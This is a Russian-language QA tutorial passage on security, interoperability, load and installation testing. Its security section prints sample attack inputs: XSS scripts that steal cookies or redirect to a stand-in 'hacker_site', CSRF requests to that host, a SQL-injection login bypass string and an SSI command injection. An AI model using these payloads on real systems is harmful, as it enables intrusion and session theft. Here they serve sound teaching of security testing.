- •Нефункциональные виды тестирования
- •Связанные с изменениями виды тестирования
- •Функциональное тестирование или Functional Testing
- •Как тестировать по на безопасность?
- •Особенности тестирования инсталляторов
- •Обновление
- •Удаление (Деинсталляция)
- •Тестирование мастера установки или Installation Wizard Testing
- •Кросс-платформенное тестирование инсталляторов
Как тестировать по на безопасность?
Приведем примеры тестирования ПО на предмет уязвимости в системе безопасности. Для этого Вам необходимо проверить Ваше программное обеспечение на наличия известных видов уязвимостей:
XSS (Cross-Site Scripting)
Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего навсего разместив вредоносный скрипт у вас на сайте. Как пример, можно рассмотреть следующий скрипт, выводящий на экран ваши куки:
<script>alert(document.cookie);</script>
либо скрипт делающий редирект на зараженную страницу:
<script>window.parent.location.href='http://hacker_site';</script>
либо создающий вредоносный объект с вирусом и т.п.:
<object type="text/x-scriptlet" data="http://hacker_site"></object>
Для просмотра большего количества примеров рекомендуем посетить страничку: XSS (Cross Site Scripting)...
XSRF / CSRF (Request Forgery)
Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или Javascript объект image. Чаще всего атакующий добавляет необходимый код в электронное письмо или выкладывает на веб-сайт, таким образом, что при загрузке страницы осуществляется запрос, выполняющий вредоносный код. Примеры:
IMG SRC
<img src="http://hacker_site/?command">
SCRIPT SRC
<script src="http://hacker_site/?command">
Javascript объект Image
<script>
var foo = new Image();
foo.src = "http://hacker_site/?command";
</script>
Code injections (SQL, PHP, ASP и т.д.)
Вставки исполняемого кода рассмотрим на примере кода SQL.
Форма входа в систему имеет 2 поля - имя и пароль. Обработка происходит в базе данных через выполнение SQL запроса:
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass';
Вводим корректное имя ’tester’, а в поле пароль вводим строку:
testpass' OR '1'='1'
В итоге, Если поле не имеет соответствующих валидаций или обработчиков данных, может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему, т.к.SQL запрос примет следующий вид:
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass' OR '1'='1';
Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать много значений.
Server-Side Includes (SSI) Injection
В зависимости от типа операционной системы команды могут быть разными, как пример рассмотрим команду, которая выводит на экран список файлов в OS Linux:
< !--#exec cmd="ls" -->
Authorization Bypass
Пользователь А может получить доступ к документам пользователя Б. Допустим, есть реализация, где при просмотре своего профиля, содержащего конфеденциальную информацию, в URL страницы передается userID, а данном случае есть смысл попробовать подставить вместо своего userID номер другого пользователя. И если вы увидите его данные, значит вы нашли дефект.
Вывод
Примеров уязвимостей и атак существует огромное количество. Даже проведя полный цикл тестирования безопасности, нельзя быть на 100% уверенным, что система по-настоящему обезопашена. Но можно быть уверенным в том, что процент несанкционированный проникновений, краж информации, потерь данных будет на несколько порядков ниже, чем у тех кто не проводил тестирования безопасности.
Тестирование взаимодействия или Interoperability Testing
С развитием сетевых технологий и интернета взаимодействие разных систем, сервисов и приложений друг с другом приобрело значительную актуальность, так как любые связанные с этим проблемы могут привести к падению авторитета компании, что как следствие повлечет за собой финансовые потери. Поэтому к тестированию взаимодействия стоит подходить со всей серьезностью.
Тестирование взаимодействия (Interoperability Testing) – это функциональное тестирование, проверяющее способность приложения взаимодействовать с одним и более компонентами или системами и включающее в себя тестирование совместимости (compatibility testing) и интеграционное тестирование (integration testing).
Программное обеспечение с хорошими характеристиками взаимодействия может быть легко интегрировано с другими системами, не требуя каких-либо серьезных модификаций. В этом случае, количество изменений и время, требуемое на их выполнение, могут быть использованы для измерения возможности взаимодействия.
Нагрузочное тестирование или тестирование производительности
Нагрузочное тестирование или тестирование производительности - это автоматизированное тестирование, имитирующее работу определенного количества бизнес пользователей на каком либо общем (разделяемом ими) ресурсе.
Основные виды тестирования производительности
В нагрузочное тестирование входят следующие виды тестирования производительности:
Тестирование производительности (Performance testing)
Задачей тестирования производительности является определение масштабируемости приложения под нагрузкой, при этом происходит:
-
измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций
-
определение количества пользователей, одновременно работающих с приложением
-
определение границ приемлемой производительности при увеличении нагрузки (при увеличении интенсивности выполнения этих операций)
-
исследование производительности на высоких, предельных, стрессовых нагрузках
Стрессовое тестирование (Stress Testing)
Стрессовое тестирование позволяет проверить насколько приложение и система в целом работоспособны в условиях стресса и также оценить способность системы к регенерации, т.е. к возвращению к нормальному состоянию после прекращения воздействия стресса. Стрессом в данном контексте может быть повышение интенсивности выполнения операций до очень высоких значений или аварийное изменение конфигурации сервера. Также одной из задач при стрессовом тестировании может быть оценка деградации производительности, таким образом цели стрессового тестирования могут пересекаться с целями тестирования производительности.
Объемное тестирование (Volume Testing)
Задачей объемного тестирования является получение оценки производительности при увеличении объемов данных в базе данных приложения, при этом происходит:
-
измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций
-
может производиться определение количества пользователей, одновременно работающих с приложением
Тестирование стабильности или надежности (Stability / Reliability Testing)
Задачей тестирования стабильности (надежности) является проверка работоспособности приложения при длительном (многочасовом) тестировании со средним уровнем нагрузки. Времена выполнения операций могут играть в данном виде тестирования второстепенную роль. При этом на первое место выходит отсутствие утечек памяти, перезапусков серверов под нагрузкой и другие аспекты влияющие именно на стабильность работы.
Load vs Performance Testing
В англоязычной терминологии вы можете так же найти еще один вид тестирования - Load Testing - тестирование реакции системы на изменение нагрузки (в пределе допустимого). Нам показалось, что Load и Performance преследуют все же одну и ту же цель: проверка производительности (времен отклика) на разных нагрузках. Собственно поэтому мы и не стали разделять их. В то же время кто то может разделить. Главное все таки понимать цели того или иного вида тестирования и постараться их достигнуть.
Теория и практика
Подробную информацию о том, что такое нагрузочное тестирование и тестирование производительности программ, а так же информацию о методике проведения, вы можете узнать в разделе Автоматизация нагрузочного тестирования
Тестирование Установки или Installation Testing
Тестирование установки направленно на проверку успешной инсталляции и настройки, а также обновления или удаления программного обеспечения.
В настоящий момент наиболее распространена установка ПО при помощи инсталляторов (специальных программ, которые сами по себе так же требуют надлежащего тестирования, описание которого рассмотрено в разделе "Особенности тестирования инсталляторов.").
В реальных условиях инсталляторов может не быть. В этом случае придется самостоятельно выполнять установку программного обеспечения, используя документацию в виде инструкций или readme файлов, шаг за шагом описывающих все необходимые действия и проверки.
В распределенных системах, где приложение разворачивается на уже работающем окружении, простого набора инструкций может быть мало. Для этого, зачастую, пишется план установки (Deployment Plan), включающий не только шаги по инсталляции приложения, но и шаги отката (roll-back) к предыдущей версии, в случае неудачи. Сам по себе план установки также должен пройти процедуру тестирования для избежания проблем при выдаче в реальную эксплуатацию. Особенно это актуально, если установка выполняется на системы, где каждая минута простоя - это потеря репутации и большого количества средств, например: банки, финансовые компании или даже баннерные сети. Поэтому тестирование установки можно назвать одной из важнейших задач по обеспечению качества программного обеспечения.
Именно такой комплексный подход с написанием планов, пошаговой проверкой установки и отката инсталляции, полноправно можно назвать тестированием установки или Installation Testing.
